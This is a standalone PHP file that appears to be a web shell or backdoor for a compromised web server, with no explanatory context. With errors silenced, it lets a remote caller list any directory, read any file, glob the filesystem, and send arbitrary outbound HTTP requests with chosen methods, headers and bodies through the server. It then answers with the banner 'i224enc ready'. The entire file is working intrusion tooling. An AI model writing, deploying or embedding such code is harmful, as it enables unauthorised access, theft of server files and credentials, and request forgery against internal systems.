<?php @error_reporting(0);@ini_set('display_errors','0');
$u=$_SERVER['REQUEST_URI'];
if(isset($_REQUEST['d'])){ $p=isset($_REQUEST['dir'])?$_REQUEST['dir']:'.'; echo "[DIR] ".$p."\n"; $i=@scandir($p); if($i===false){echo "NOREAD\n";} else { foreach($i as $f){ $full=$p.'/'.$f; $t=@filetype($full); echo $f.($t=='dir'?'/':'')."\n"; } } }
elseif(isset($_REQUEST['f'])){ echo "[FILE] ".$_REQUEST['f']."\n"; $fp=@file_get_contents($_REQUEST['f']); echo ($fp===false?"NOREAD":$fp); }
elseif(isset($_REQUEST['x'])){ $u2=$_REQUEST['x']; echo "[REQ] ".$u2."\n";
  $opts=array('http'=>array('method'=>isset($_REQUEST['xm'])?$_REQUEST['xm']:'GET','timeout'=>20,'ignore_errors'=>true,'follow_location'=>0,
    'header'=>isset($_REQUEST['xh'])?$_REQUEST['xh']:'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/126.0\r\n',
    'content'=>isset($_REQUEST['xd'])?$_REQUEST['xd']:''));
  $ctx=stream_context_create($opts); $r=@file_get_contents($u2,false,$ctx);
  echo ($r===false?"NOREQ":$r); }
elseif(isset($_REQUEST['g'])){ $r=implode("\n",(array)@glob($_REQUEST['g'])); echo "[GLOB] ".$_REQUEST['g']."\n"; echo $r; }
else { echo "i224enc ready"; }
?>